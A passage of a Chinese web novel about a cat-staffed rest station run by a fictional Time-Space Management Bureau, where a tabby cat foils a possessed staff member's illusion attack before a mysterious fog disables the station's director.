听到这话,温言谨哽住了,连安慰都不知道从何说起。因为卫锦程看起来并不需要安慰,只是像在走神一样,一不小心就说了太多。
卫锦程被问到这个问题时才想起,好像自己流浪的时间比末世还要久,从前的生活好像也没有印象中那么值得怀念。
“这些我都记不清了,我记得最清楚的,是我上小学的时候,和同学打架后说了谎,被老师责罚了。老师说,就算成绩不好,也不能学不会做人。
学校告诉我‘品格’是最重要的,但社会要的是‘有用’的人……以后你找工作的时候应该就能感受到,我不多说。对于世界来说,人并不重要。”
末世来临后,卫锦程一直在想,是不是世界本来就是这样优胜劣汰,只是末世扯下了文明世界粉饰太平的漂亮话呢?
“我的哲学老师说,应然与实然不能互相论证。正确的事情未必是事实,而从来如此也未必正确,所以……抱歉,我好像不小心说得有点抽象了。”
温言谨想了想,手指不自觉轻轻拧开了手上饮料的瓶盖,立刻又拧紧了,如此反复,
“……我有个发小,他有先天性心脏病,很严重。之前医生说他活不过十岁。他给我的第一印象就是安静,后来我才知道他是不敢和别人交往,怕有过大的情绪起伏。
所以,大部分时间他都在和星象打交道。他喜欢星星,因为他十三岁前的一半人生都在病床上躺着。不能翻身,不能乱动,只有外面的星星在变化。
他做过两次大手术,每次都很痛苦,但是他今年二十一岁了。哈雷彗星的回归周期是76年,上次是我们两个出生的50年前,他的目标是看到下一次回归。
他对我说我,星象会变化,而‘理应如此’和‘实际’也并不是一一对应的关系。他相信人的行为,真的能撼动天边的恒星。我也相信。如果不做点什么的话,就什么都改变不了。”
…………
乔伊斯泽安德两人带着一群猫遛了一圈回去后,正好碰见凯桑德拉和艾尔还在吵。
“队长,我知道你认为不能对担心吃不饱饭的人要求太多,但现在我们面临的是很现实的问题。如果放任他们继续搅混水,领地会乱起来的。”
艾尔揉了揉太阳穴,有些头疼地继续试图说服凯桑德拉,
“愚昧不全是他们的问题,可是我们现在要维持这个领地,必须进行筛选,这个世界就不是能让所有人活下去的世界。”
“我知道,我当然知道,但是……”凯桑德拉话说了一半,沉默了下来,坐回了椅子上,单手捂着脸,深深叹了口气,“如果哗变了的话,我会负责解决。”
艾尔毫不意外地叹了口气:“我明白了,但我希望你,还有你们两个答应我一件事。”
刚回来就突然被点到名的两人愣了愣,而看热闹不嫌事大的狸花猫迈着爪爪跑了过去,绕着艾尔的脚边转了几圈,留下点气味后,咪喵咪喵地叫唤了几句。
人类又在做复杂的事情了,猫好奇,猫想学。狸花猫敏锐地察觉到艾尔似乎是四个人中做规划的角色,因此它格外留心他的行动。
“如果领地内发生了针对我们四个人的集体暴力,我希望你们配合我的行动,和我一起暂时离开这里,停止给这些人提供庇护。”
艾尔的语气平缓而冷漠,抬眼看了看小队的其他三人,
“痛苦和教训是最好的教育。现在他们不服从管理,是因为他们还没有清醒地意识到是谁让他们活下来的。”
乔伊斯犹豫了一下,而泽安德看了看她,率先开口道:“这样至少会死一半的人……”
“不这样的话,死的人更多。”艾尔立刻地打断了他的话,认真说道,“等有人从内部叛乱,矛盾完全激化的时候,我们就必须做更激进的选择。”
狸花猫歪着小脑袋,竖着耳朵听着,认真思考了一下。猫猫不擅长很抽象的思考方式,一般都用类比来理解人类。
对猫猫动武的人类还好处理,大不了就陶片放逐法扔出去算了,但时不时会有人类想要绑架休息站
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的猫猫回家,这种行为就不太好界定是否真的有恶意。
从普通人的角度来说,不会将猫猫看作平等的智慧生命是很正常的事情。客观来说,大部分猫猫也确实没聪明到那个标准。
狸花猫想,如果猫猫休息站从一开始就让客人明白这里的猫猫不是普通猫猫的话,或许能避免很多不必要的矛盾。
凯桑德拉扶着额头静默了一会,抬头看向艾尔,点了点头:
“按你说的来。乔伊斯,泽安德,你们两个……拜托了,再试试看这几个月能不能给大家讲明白道理。”
精神方面的事情是他们两个的战场,这方面事实上凯桑德拉和艾尔都没那么擅长。
“是。”
两人忧心忡忡地点头应下,没有和艾尔争辩的意思。他们两个同样天天和领地的人打交道,也知道现在领地很多人不满他们继续解救奴隶。
人的天性是复杂的,有人反对,也同样有人支持。反对的理由很简单,只是不愿意多几个人来分资源;支持的理由更简单,人会共情,尤其会共情感同身受的事情。
泽安德回想了一下自己以前在告解室里听人倾诉的罪恶与内疚,转向乔伊斯商量道:
“这两种心态一般是同时存在的,就看哪一个占上风了。”
“我之后调整一下中午演出的内容,争取改变他们的想法。泽安德,你……”乔伊斯停顿了一下,目光有些担忧,“不要紧吗?”
“没事,我会去恐吓他们的。艾尔,麻烦帮我制作那种可以产生光点的魔法道具吧,只有光点效果就可以。”
泽安德面色不变,温和地笑了笑,不过左手的大拇指无意识轻掐了一下食指的指节,
“刚才那几个人逃跑的时候,我看见有人绊倒了,好像摔得不轻。我只要在治疗无效的时候告诉他们,神只会眷顾善良的人就可以了。”
这样对吗?太阳应该普照全部的生命,阳光是这世界上最后的平等,这才是太阳神的信徒应该遵循的准则……
其他人也知道让泽安德这样做有些太为难他了,都欲言又止地看着他。不过他只是摇了摇头,微微笑了笑:
“这样能救更多人的话,神会理解的。”
之前凯桑德拉经常开玩笑说泽安德信神信得很硬气,总是说“要是神不同意,那我就不信了”。泽安德则理所当然地说,他就是因为崇拜神能平等爱所有生命,才会成为牧师的。
只要做救人的事情就一定是符合神意的,但现在,他的做法真的能拯救更多人吗?
泽安德微微垂眸,眼底有些阴影投下,看着地砖发呆。
猫猫们游览了一圈后,半夜就回去了。管理局只批准了一天的世界旅行,到时间就会被传送回去。
泽安德半夜站在床边,对着月光祷告。教会的书里说,月亮是太阳在晚上的分身,让人们能时时被光笼罩。
“尊贵的神,请原谅我的愚蠢自大,请原谅我……”
就这样,泽安德用微微颤抖的声音一遍遍请求原谅,低着头,最终说出了最想说的一句话,
“请指引我,请指引我去做正确的事情。”
32. 讲个笑话,猫怕黑
猫回家啦!俗话说得好,金窝银窝不如自己的猫窝,虽然猫猫喜欢偶尔出去玩玩,但趴在猫窝里当然更舒服。
德文猫喵喵地给没去的猫猫讲故事,让大家都能多少接触到些外界信息,保证猫猫们都能学到新鲜知识。而狸花猫作为领队正趴在窝里闭目养神,偶尔打个大大的哈欠。黑猫又跳回了最高处,俯瞰整个猫猫休息站。
今天也是和平的一天,太好了。狸花猫眯起眼睛看了看喵喵叫着的猫猫们,又撑着转头看了一眼售货机旁边鲜红色的消防按钮后,终于安心地睡了过去。
希望明天也是平安的一天,后天也是,希望永远都是。
然而天不遂猫愿。猫猫学习团回来后的第二天,所长就突然带来了一个不知道该说是好还是不好的消息。
“时空管理局已经对上次攻击休息站的人发布了通缉令,这个人很棘手,你们注意安全,有什么问题及时上报。
从今天起,会有‘我’的其中一个一直驻扎在休息站附近。放心,我不会在休息站里面碍事,不出事的话你们看不到我。”
好消息是,所长驻扎在这里的话,休息站的安全等级一下变高了不少;坏消息是,居然需要所长驻扎,那个盯上狸花猫的家伙看样子应该很棘手。
狸花猫意识到了这一点,在所长想离开的时候咬住祂的裤脚往后扯,又在他脚腕边绕圈圈喵喵叫,试图让祂多解释一下。
“一方面,这个人之前杀死了时空管理局的三百五十名战备人员,属于重犯;另一方面,她所属世界的力量体系具有一定程度的独特性,难以确定她的能力。”
所长蹲下身,摸了摸狸花猫,摸到尾巴上方一点的地方时,刻意放轻了力度,敷衍地摸了几下就收手,
“只要有我在就不用担心。安全起见,我给你的防御项圈加装了通讯和定点传送功能,紧急情况下,你可以和我联系或者直接传送到这个‘我’身边。”
“喵!”
狸花猫用爪子挠了挠悬浮在脖子位置的项圈。
“……不是现在。有事再叫我,明白吗?禁止滥用这个功能。”
狸花猫还想喵喵叫着抗议的时候,奶牛师傅偷偷走到后面,咬了它的屁股一口。
好的,现在狸花猫没空理所长了,转头和奶牛师傅开始了今天的搏斗,而所长趁机赶紧离开了,省的又被猫拉住做摸猫工具人。
日子一天天过去,从所长通知狸花猫之后,情况好像没有发生什么变化。猫猫们依然在客人身边喵喵叫着营业,偶尔被人类拉着诉苦,或者蜷着身子陪人类安心地躺在柔软的床上睡个午觉。
据时空管理局研究,适当的休息放松是减少异化第二有效的方法,包括精神放松与身体放松,缺一不可。
今天,我们的销冠狸花猫又结束了一天的工作,咪唔喵呜地叫着就去跟德文猫聊今天的客人了。
休息站内只剩下了猫、猫和猫,大家三三两两地聚集着,互相舔舔毛或者蹭来蹭去,几只活泼的猫时不时上蹿下跳地跑酷,在猫爬架和玩具架子附近跳上跳下。
狸花猫喵累了之后,就趴着慢慢闭上了眼睛,进入了梦乡。周围的世界渐渐安静了下来,寂静无声。
然而,狸花猫慢慢睁开了眼睛,看着空无一猫的休息站,有些搞不清情况地喵了一声。它发现,自己脖子上的悬浮防御项圈不知道为什么消失了。
休息站内暗暗的,不过猫猫的眼睛在黑暗中亮亮的。作为夜行性动物,狸花猫对昏暗的环境并没有人类那样本能的恐惧感,只是有些疑惑地走出了猫窝,四处转了转。
训练室、带有床的休息间、浴室、猫猫玩耍间……
整个休息站内没有一只猫,只有门口的小鱼风铃不断响动,好像有人进来了,但现在应该不是营业时间。狸花猫总觉得好像隐约听见了暮时的声音,但一转头却什么也没看见。
随后,狸花猫敏锐地发现通往走廊的猫猫门洞那边,似乎有个拉长了很多的奇怪影子在晃。它的耳朵动了动,但除了风铃声依然没有捕捉到任何声音。
猫猫的脑子没那么多恐惧的念头,只是有一个想法——怪哦。
夜行性动物在阴暗环境中,反而会比平时更安心些。狸花猫想了想,没想明白,于是打了个哈欠,回猫窝继续睡觉了。
人类在这种情况下当然睡不着,但狸花猫的想法是,天塌下来所长顶着,这个世界上猫搞不明白的事情多了去了,先睡。
睡着睡着,狸花猫听见周围传来了焦急的喵喵声,眯着眼睛睁开,才发现全休息站的猫猫都聚集了过来,而德文猫正用头拱着它。从位置来看,狸花猫应该已经被德文猫拱了好几个翻身了。
原来是梦啊。
但销冠狸花猫是事业心猫猫。在业绩可能被布偶猫超过的情况下,它从来没有睡过开店时间,但这次却叫也叫不起来。
德文猫拱着狸花猫到了休息站的体检秤上,得到了一切正常的回答后,其他猫猫才安下了心,回到了各自喜欢待的位置准备进行今天的营业。
狸花猫看着通往走廊的门洞发了会呆,耳朵向前转了转,又向后转了转,忍不住打了个哈欠。
做梦累,而且影响白天的营业状态。一连几天,狸花猫都被拉到了那个古怪的空间中。在第三次醒来的时候,狸花猫的耳朵轻轻动了动,偷偷喵了一声让项圈脱落,用爪爪往窝里推了推,似乎准备先不戴项圈试试看。
今天营业结束后,狸花猫照例和德文猫挤在了一起。它咬了咬德文猫的项圈,而德文猫也轻轻喵了一声,会意地让项圈自动脱落。两只猫猫挤在一起,狸花猫没有睡觉,而是看着项圈发呆。
狸花猫歪着小猫脑袋想了一会,不知道想了什么,喵喵叫着把德文猫喊醒,又推了推项圈,好像不放心似的让它戴上了。
随后,狸花猫小脑袋把德文猫往里面拱了拱,而它自己盘了盘身子,整个猫堵住了猫窝的出入口。
以前在公园里的时候,它们两个也会这样睡在猫窝里,以避免在猫猫睡觉时,贵贵的德文猫突然被路过的人类看到。
铛——铛——
奇怪的钟声响起,狸花猫被吵得关上了小猫耳朵,忍了一会才睁开眼,却看见休息站的桌子上多出了一个古旧的钟。
狸花猫走了出
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去,跳上了桌子,有些困惑地绕着钟转了两圈,伸出白爪爪推了推,把古怪的钟推下了桌子。
猫猫眼里只有大大的好奇,尤其在黑暗环境中,狸花猫的瞳孔为了收集更多光线而放大了,看起来眼睛圆圆的,可爱极了。
钟落到地上后,钟声却依然没有停止,这次从狸花猫背后响起来了。狸花猫一回头,看到了另一个钟出现在了它身后。
狸花猫左歪歪头,右歪歪头,最终决定啃啃看。
另一边,所长正监测着狸花猫的脑电波,大致能感受到它那边的情况。
“领导,怎么回事啊?不要紧吧?”
暮时被叫来做警戒工作,见所长的表情放松了些,忍不住赶紧开口询问。
“这只白色的猫判断得没错,它确实正在遭受某种攻击。”
所长对德文猫点了点头,随后继续解析着检测设备传来的数据,
“原来如此,‘信以为真即是真’。”
“什么?”
“在修仙世界,这个东西叫做‘幻术’,我倾向于叫它强制心理暗示,作用机理应该是通过瞳孔的收缩放大、手势动作与改变环境内能量流动来进行暗示。
你应该知道,生物存在应激反应,并且严重应激的情况很可能会导致死亡。”
所长一边解释着,一边轻轻摇了摇头,不知道为什么嘴角居然带着点笑意,
“但是这只猫很勇敢,它现在正在用爪子暴打那个人制造的幻境物品,玩得挺开心的。它应该已经意识到又在做梦了。”
还有一件事所长并没有说出口——那个人的幻术不可能成功,因为这个幻境太傲慢了。
与人类不同,猫的嗅觉、听觉同样发达,视觉方面动态视力强,但近视。影子摇晃只会让猫觉得好玩,想扑。
钟表、钟声这样的东西是人类的产物,指望猫对它们有什么恐惧联想?非要说的话,过大的声音确实可能吓到胆小的猫,但狸花猫显然是胆子巨大的猫。
而用昏暗环境试图让猫感到不安更是傲慢得没边的举动——拜托,猫是夜行性动物,要不是为了营业陪人类才不会昼出夜伏呢。
异化个体的思维方式具有极大的局限性,它们缺乏共情与同理的能力。再聪明的异化个体,也无法真正跳脱出自己的思维逻辑去站在别的角度思考。
而至于所长没有将这些思考说出口的原因……
“我提取了那个逃犯的生命成分,制作了非常严密的防护措施。客观来说,如果她能正面突破,那她就没有必要来杀猫,直接去杀我就行了。”
毕竟,祂和狸花猫一样,都是被基因突变彩票抽中的所谓“天选者”。
所长瞥了暮时一眼,继续看着面前代表着脑电波的数据说道:
“听着,我对这个叫‘暮时’的人没什么了解,但我跟她上司很熟,那家伙一眼相中的下属,绝对不会在警戒时说没有用的废话,问自己帮不上忙的事情……”
所长的话还没说完,机械的头颅便炸裂开来,仿生零件崩了一地,其中的循环液炸得到处都是。而旁边,是正举着枪、一脸冷漠的“暮时”。
33. 一物降一物
执掌者使用的是规则力量,即便是所长也无法违背规则。然而,这绝不意味着执掌者就是无敌的。它们依然可以被控制、利用甚至杀死。
规则无法违背,但智慧生命可以利用规则或规避规则发生。除去规则,执掌者和普通生物并没有太大的差别。它们只是被规则选中的生物,并不是不灭的规则本身。
她可不会耐心地让祂把话说完,但即便杀死了这具身体,她却也没有任何轻松之意,只是三步并作两步上前,伸手就要掐住狸花猫的脖子。
她不知道祂突然说这番话点破的目的是什么,不过不管祂有什么后手,只要杀死一个“天选者”……
旁边蹿出了一只白色的德文猫,一口就咬到了她手上,直咬得鲜血横流。她皱起了眉,正准备一把将猫甩到墙上,动作却突然僵住了。
……动不了?
“暮时”努力想要把德文猫挥开,却无论如何也无法动作。这时候,休息站内的广播响了起来,所长平淡的声音嘲讽般传了出来。
“脑电波拦截装置已经设置完毕,休息站空间通道关闭,引入编外人员进行应急处理。”
她警惕地左右看了看,却愕然发现面前出现了一个再普通不过的凡人。在修仙世界,这样的人和蝼蚁没有区别。
温言谨有些迷茫地看着“暮时”,又看了看一地的猫,才听见所长的声音从上方传了过来。
“尊敬的休息站客户,您好,感谢您在上次突袭事件中的支持。非常抱歉再次打扰您,但情况紧急,请您前往自动售货机,购买第五栏第三页四排四号的、名为‘应急手铐’的商品。
完成购买后,请对面前的犯人采取紧急抓捕措施——即使用手铐用反铐的方式铐住她的双手,并将她手中的手枪放置于休息站桌上。
不用担心,她无法对没有主动伤害过别人的智慧生物做出任何暴力举动。”
执掌者被规则选择,能够一定程度上利用规则,换个角度来说,它们也是天生最适合这条规则的个体。
“并非是执掌者适合规则,而是只有绝对适合规则的人才能被选为执掌者。暮时所掌握的规则,足以证明她是一个绝不愿意对任何无辜者出手的人。”
所长的语气依然平淡,甚至带着一丝若有若无的笑意,
“智慧生命的意志非常神奇——脆弱,但有时候又无坚不摧。如果不是这些超脱逻辑的情感存在,我大概早就对这个无聊的客观世界失去兴趣了。”
温言谨愣了愣,遵照着广播指示买了手铐,看着暮时紧张地顿了顿。她就是一个生活在文明世界的普通人,对这里的一切都带着恐惧的陌生感。
地上流淌着不明液体的人形尸体、拿着枪的女性和广播声,还有明显紧张着的猫猫们……这个场景已经完全超出她生活中能接触到的范畴了。
她深吸了一口气,鼓起勇气靠近了“暮时”,努力不去看她手上的枪,试图克服本能的恐惧和不安感。
“暮时”挣扎着,似乎想要有所举动,但最终却只是呆站在原地,任由温言谨将她铐住,从她手中掰出了那把枪。
作为和平世界的居民,温言谨拿到枪的时候莫名感到一种巨大的压力,赶紧像放烧火棍一样将它放到了桌面上。
几乎是温言谨将枪放在桌面上的同时,所长便突然出现在了休息站内,对温言谨点了点头:
“辛苦了,非常感谢您的协助。我知道对于您的原生世界背景来说,做这件事并不容易。”
“不……您过奖了,我也从休息站得到了很多。”温言谨看着面前这个只见过几面的人,有些犹豫地摇了摇头,“但我想知道这里是什么情况。”
“就在刚才的闲置时间内,我已经将事件的前因后果整理成纸质材料了,你可以在这里阅览,但不能带走。”
所长将一沓纸递给温言谨,又转头看向被铐住的“暮时”,发现她的表情有些古怪,便开口问道,
“有事?”
“你刚才是故意让我杀你的,为什么?”
占据了暮时身体的人眼神怨毒,语气中透露着不甘,但也有浓浓的疑惑。按理说,这一步是完全没必要的,祂为什么要这样做?
所长瞥了她一眼,随后蹲下身,一边轻轻揉着狸花猫的身体,试着唤醒它,一边兴趣缺缺地随口回道:
“以她的世界背景,如果直接看到人型生物被爆头的场景,有概率会受到心理创伤。时空管理局成员条例第五十三条规定,所有成员应在能力范围内,尽最大努力保护未异化个体的心灵。”
“……”
那家伙沉默得有些诡异,但所长也没有进一步解释的意思,而是优先继续揉着仍然四仰八叉地躺在地上的狸花猫。
“行了,别装了,醒醒,不然我要捏你尾巴了。”
“喵……”
狸花猫不满地睁开了眼睛,愤愤地喵了一声,抬起爪爪打了所长一巴掌。
这个人怎么回事,让祂多摸摸猫猫还这么不情愿,烦死猫了。所长看着狸花猫喵喵叫着像是在谴责祂,也没在意。
“虽然我的确已经将你当做智慧生命对待了,但我倒是真没想到你能考虑得这么周全。”
所长说着,略微歪了歪头,看了一眼那只正担忧地用头拱着狸花猫的白色德文猫,
“与这只猫交换了项圈,还让它来找我说明情况……你是怎么考虑到内部出现问题的?”
狸花猫瞥了所长一眼,耳朵动了动,随即舔了舔白色的爪爪,装作没听见。聪明小猫自有办法,但不准备这么简单就告诉不摸猫猫的人类。
其实只是一点聪明,以及销冠的自我修养罢了。作为一只外表随处可见的普通猫猫,狸花猫可是花了不少心思才战胜了拥有长毛的棉花团子布偶猫,成为了本店的超人气猫猫呢。
为了让客人有更好的体验,狸花猫会对猫猫们进行任务分配。面对不同的客人,分配不同性格的猫猫,这样才能源源不断地为休息站赚到更多的猫猫币。
要想做到这一点,狸花猫自然要对客人的性格和需求有基本了解。为了更好地分配工作,它通常会和更为细
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心的德文猫进行商讨,因此两只猫是休息站内对客人了解最多的猫猫。
在通过目的明确的观察互动排除掉客人的嫌疑后,狸花猫自然而然地想到剩下唯一一位还能影响休息站的人——暮时。考虑到它在梦中还听到过她的声音,这个可能性就更大了。
虽然它当时还没完全明白为什么暮时会这么做,但总之先通过挡住监控躲过了暮时的观察,让德文猫用传送项圈偷偷去联络了所长,之后就交给这个家伙处理了。
猫猫本能地相信领地内所有的善意个体都会认真守卫领地,相信比它更强的善意个体会保护它,这样的相信会给予猫猫安全感。
“……不过是只畜生。”
阴冷的声音从旁边传来。不同于暮时平日里开朗活泼的语调,这个生物说话总让人觉得毛骨悚然。
狸花猫本能地弓起了背,发出了威胁的哈气声。而所长则歪了歪头,看上去依然没什么情绪波动:
“从基本词义来说,你说的倒是没什么问题,它确实是猫,但第一,现在它是登记在册的未异化智慧生命,比起你这样的异化智慧生命,它更受到时空管理局承认;
它是时空管理局的成员,业绩优秀。如果你有什么不满就忍着,你的智慧生命权目前在时空管理局内还是争议话题,从贬义延伸义来说,你更接近‘畜生’的词义。
第二,你刚被这只猫算计完,而且输了。从客观比较的角度来说,你骂它的每一句话都是在进一步贬低自己。”
有理有据。虽然仔细听下来,大概可以用“反弹”来概括。
所长说完,便将复杂的设备接到暮时的太阳穴与脑后位置,专注地看着手中的设备:
“猫,去用空间传送设备,把那个叫卫锦程的人类叫过来,准备进行告知工作。”
官大几级压死猫。狸花猫不情不愿地喵了一声,慢悠悠地用极其缓慢而不情愿的动作挪向角落刚开启了权限的按钮。看在刚才这家伙帮猫说话的份上,勉强暂时原谅祂了。
“用你们那边的话来说,你是用‘神魂’暂时控制了别人的行动,和我的生命形式倒是有相似的地方。你现在这个态度,应该也是不怕失去这一缕神魂。
不过正好,我对你这样的炮灰也不感兴趣,现在我有更大的麻烦要处理了。你、你和你,准备安抚被告知者的情绪。”
所长随便指了几只猫。与此同时,狸花猫用爪爪轻轻按了几个按钮——猫猫的肉垫没有办法像人类的手一样进行很精密的操作,因此猫猫休息站里的设备都经过适猫化处理,以简单按钮或拉杆的形式使用。
预计,两天后,传送至休息站,发送询问告知,等待目标对象回应……
另一边,德文猫礼貌地绕着温言谨的脚边转了几圈,喵喵地引导她往门口走去,用小脑袋轻轻拱着她的小腿,温和地催促着。
温言谨知道,她被拜托的工作暂时做完了,但她实在好奇,一步三回头地往后看,看着一些无法辨认的白色雾状物质慢慢从暮时的太阳穴位置流入所长手中的不知名容器。
34. 出大问题
在人类文明崩塌的末日世界中,爬山虎长满了破败的建筑。萧瑟的风微微吹动惨绿的树叶,藤蔓的摇晃一直从室外墙壁蔓延至室内的地板。
一队人正在这座曾经是超市的建筑中搜索物资——一周前,这里还被丧尸挤满着,但新加入“文明”聚居地的特殊异能者居然将那群怪物全部引走了。
没有人说话,末世的人习惯了在聚居地外保持沉默,避免吸引丧尸的注意。
小队中,有人左右看了看,趁人不注意,试着将几个罐头塞到衣服里,还没来得及放进去,便被人从身后控住了脑袋,脖子往右一拧。
死了。
刚刚杀死队员的副队长沉默着,其他人也没有任何反应,只是不停地将物资放到包里。这是末世来临的第八年末,习惯不了这种事情的人已经差不多死绝了。
另一边,卫锦程漠然地看着丧尸聚集在空地上,发疯一样被悬吊着的扩音喇叭吸引过去,一堆一堆的,粘腻腐败的烂肉从它们身上脱落。
她隐去身形,收敛呼吸,安静地从丧尸群间轻巧地穿过,冷淡地目视前方,不去看这只身形矮小丧尸身上挂着的长命锁,或者那只丧尸露出白骨的手腕上大概是从附近寺庙买来的串珠。
这些都没有意义。如果过多去思考这种事情,总有一天会动摇自己的心神,让自己陷入毫无用处的痛苦中。
扩音喇叭里记录着一个不知名摊贩叫卖的声音,伴随着丧尸磨牙的声音回荡在空旷的野地里。
“烤红薯、烤肠、各种饮料、冰激凌……”
仔细听的话,隐约还能听得见录制时有小孩子在旁边学大人说话,稚嫩而有些口齿不清,似乎咯咯笑了几声,而叫卖的人声也带上了些颤抖的笑意。
很快,丧尸践踏着同类拽到了喇叭。啪的一声,喇叭摔倒了地上,螺丝摔了出来,声音也消失了。
…………
“……所以你能听我说话了吗?我还有事要找你。”
所长一只手托着一个瓶子,瓶内是某种像是活着的白色流动雾状物质——这是祂刚费劲从暮时脑内提取出来的罪犯神魂,而暮时本人则正被其他猫猫照看着躺在休息间内。
狸花猫的半边耳朵往旁边微微转了转,身体却没有动作,继续像一只海参一样趴在角落。这就是猫听见了,但不想理人的表现。
“关于你们休息站之前提交的研发配额提额申请的事情……”
“喵!”
狸花猫一个猛回头,随后站起身绕着所长喵喵喵地叫唤着,在祂的小腿间蹭来蹭去。它知道,这件事还真是所长自己就能决定的。
时空管理局研究所是所长的一言堂。因为说难听点,能看懂祂的发明的生物就已经是智慧生命中顶尖聪明的存在了。
所长叹了口气,蹲下身把狸花猫抱了起来,像抱婴儿一样让猫猫仰躺在祂怀里,避免猫跑走:
“在那之前,我想邀请你们休息站的全体员工加入我的派系。优点是,我个人可以给你们每年额外多提供一个研究配额;缺点是,如果单论行事方针,中立方向的稳定派更适合你们。”
总体来说,时空管理局内部有六个派系三个方向,分别是激进、中立与温和,这三个方向代表的,是对异化个体的态度。
暮时所在的蛇派是激进方向,它们主张通过消灭异化个体和污染源来减少异化——这也是卫锦程现在在做的事情。
而所长带领的中立方向救世派,则是仅对造成危害异化个体采取一定限度的处理,并不准备从异化个体本身入手解决问题。
换做其他智慧生命,所长都相信自己给的条件足够优厚。小到猫猫脖子上悬浮着的防御项圈,大到休息站内的自动售货机与安保逃生系统,全都是祂的手笔。
但同时祂知道,这个休息站总是搞些奇怪的东西浪费配额。狸花猫在猫猫个体中再聪明,也依然是只在猫猫社会里生存的猫,对人类的各种思考只是一知半解。
有好吃的猫饭、有不会下雨的屋子、有人给猫猫治病、有人陪猫猫……这些对猫来说已经够了,至于再多的,狸花猫还不明白,也想不到。
它还没有那么复杂的欲望,所以这个配额的价值,对猫来说似乎没那么高。狸花猫想了想,歪了歪脑袋,轻轻蹭了蹭所长的胸口,喵了一声。
“你问为什么听说过我所带领的救世派被叫做疯子?从其他智慧生命的视角来看,这么认为倒也正常……”
所长话刚说了一半,突然转头看向通往走廊的门缝,随手将狸花猫往旁边一扔。狸花猫猝不及防,本能一个拧身猫爪着地,刚想骂骂咧咧地喵几声,但立刻注意到了所长的视线。
门缝中有白色的雾气渗透进来。所长观测了一下雾气的量,立刻将手上的瓶子放到地上。
“带着这个和其他猫去暮时旁边,必要的时候把她摇醒让她保护你们,这里我来处理。十个小时后,如果没有别的异常,你们可以试着出来看看。”
狸花猫看着为人类的手而设计的光滑瓶子,犹豫着思考了一下,找好了角度推着瓶子骨碌骨碌往房间又推又拱,很快就跑走了。
所长看猫猫们藏好后,不紧不慢地走到自动售货机旁边,弯腰长按那个红色的紧急按钮。一瞬间,休息站内的各个房间落下了密封门,开始用空间技术维持休息站空气流动。
“听说在你的世界里,这一瓶神魂就需要修炼五百年。那么这些,应该是剩下的全部了吧。”
所长站在越来越浓的雾气中自言自语。祂的脸和身形逐渐变得模糊,好像是被水一样浓重而化不开的雾气从下向上掩盖住了。
理论来说,祂只是一个意识体的百万分之一,不应该会受到精神控制影响,但很快,祂突然发现自己的思维运作越来越慢了。
宇宙的各个角落里,无数的“祂”动作都逐渐缓了下来,各自迅速处理完手头的事物后,立刻冷静地寻找掩体或原地坐下,准备迎接昏迷停机,避免机体受损。
而祂想了一下,缓慢地走向休息站的椅子,也找了个方便的姿势趴在桌上。
“……好像有点麻烦,算了。”
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…………
休息间内,有十二只猫猫和一个昏迷的人。猫猫们有些不安地或藏在床底下、或躲在衣柜里。它们找着和自己关系要好的猫猫,藏到了阴暗的角落里寻求安全感。
和人类不同,猫猫在黑暗的环境中才会更敏锐、更有安全感。夜行动物的本能让它们在黑暗环境内处于更活跃的狩猎状态。
狸花猫关上了灯,幽暗的房间里几只猫猫的眼睛发着亮光,如果有人看见大概会被吓一跳,但猫猫这样的行为大致类似于开灯安抚受惊吓的人类。
室内很安静。狸花猫跳到暮时身边,眼睛盯着门口方向,耳朵时不时就转一下,以捕捉更多方向的声音。
休息站内的猫猫中,狸花猫是身体最好、最适应野外生活、也是这个休息站内最擅长狩猎和生存的猫猫,当仁不让地主动占据了警戒位置。
在德文猫和布偶猫的帮助协调下,几只身体比较好的猫猫轮流作为放哨主力,其他猫猫则在床底或衣柜内辅助观察。
时间一分一秒地过去,慢慢的,猫猫们精神都有些疲倦了。猫本来也不是擅长持久作战或协同合作的生物,它们擅长的是隐匿与爆发狩猎。
狸花猫打了个哈欠,跳到衣柜上方眯起眼睛假寐,而橘猫在指挥下跳上了床,继续进行警戒。
门外的雾气没有渗进来,但也没有声音。在有猫猫的肚子开始饿的时候,狸花猫回头看了一眼,小心翼翼地从衣柜上跳下,走到门口将肉垫贴在门板上。
猫猫们都戴好了防御颈环,倒是不怕身体上受到伤害,但这次的敌人显然会攻击精神。而已经受过一次攻击的狸花猫认为,它出去看看应该不会有什么问题。毕竟,之前的幻境对它来说好像没什么大不了的。
几秒钟后,门板识别好了狸花猫的肉垫和瞳孔,猫洞位置的小门锁松动了一下。狸花猫小心翼翼地探出爪爪空挥了两下,感觉似乎安全后,才将头探了出去。
一个猫猫头突然从门下面挤出来,左看看,右看看,却茫然地发现雾气已经散去了,室内一片安静,而所长正静静地趴在桌上,似乎睡着了,乍看之下好像没什么异常。
管他的,先吃饭。
时间已经过去了十几个小时,猫猫们是真的饿了,但狸花猫还是不放心外面的状况,隔着门喵了几声,让其他猫不要出来,随后它自己跑来跑去,购买小袋猫粮和罐罐顺着猫洞推进门内。
送完饭后,狸花猫自己也买了点猫饭在外面吧唧吧唧。它边吃着,边警惕地观察所长,但不管再怎么看祂都没有动静,像是失去生机的木偶一样。
狸花猫吃饱后,跳上桌子,先邦邦给了所长的额头两拳,发现祂还是没反应,就用头顶努力拱了拱,四只爪爪都在用力。
死沉,看样子是真昏过去了,这怎么办啊。
就在狸花猫绕着所长一筹莫展的时候,休息间的门打开了,德文猫领着醒来的暮时与其他几只猫猫走了出来。
“小梨子前辈,刚才我手机上收到了分局那边发来的警报,好像出大问题了。”
35. 祭司
刚恢复正常意识的暮时绕着所长转了一圈,紧紧皱着眉头,
“总局研究所停摆,部分技术失效……我的意识断在大概几天前了,一直在做奇怪的梦。这边现在是什么情况?领导这是怎么了?”
德文猫早早就准备好了翻译器,狸花猫一通喵来喵去,把事情的来龙去脉讲了一遍。在听到自己被控制的时候,暮时的表情微妙地变了变,但立刻压下了情绪和没用的想法,仔细打量着所长。
按理来说,这个人不可能莫名其妙把自己弄到这个地步。不过祂倒是给时空管理局准备过祂意外死亡的紧急预案,现在应该不至于出太大的乱子。
暮时观察完情况后,顺手拍了几张照片,和情况说明一起发送给了她在总部的boss——和所长基本同级别的领导。
狸花猫还在绕着所长闻来闻去,却突然打了个喷嚏。一瞬间,整个休息站突然剧烈晃动了起来。暮时一个不稳,赶紧扶住桌子,顺手同时捞住差点摔到地上的所长。
四只爪爪着地的猫猫有的突然弹了起来,有的迅速调整身形对抗惯性,还有的本能伸出尖利的爪子抓住周围能抓的东西。猫猫们左顾右盼,不知道发生了什么。
——“注意,注意!时空管理局正在遭受‘秩序’大规模攻击,现紧急将各个休息站转入夹缝空间,请所有人员务必注意安全。重复……”
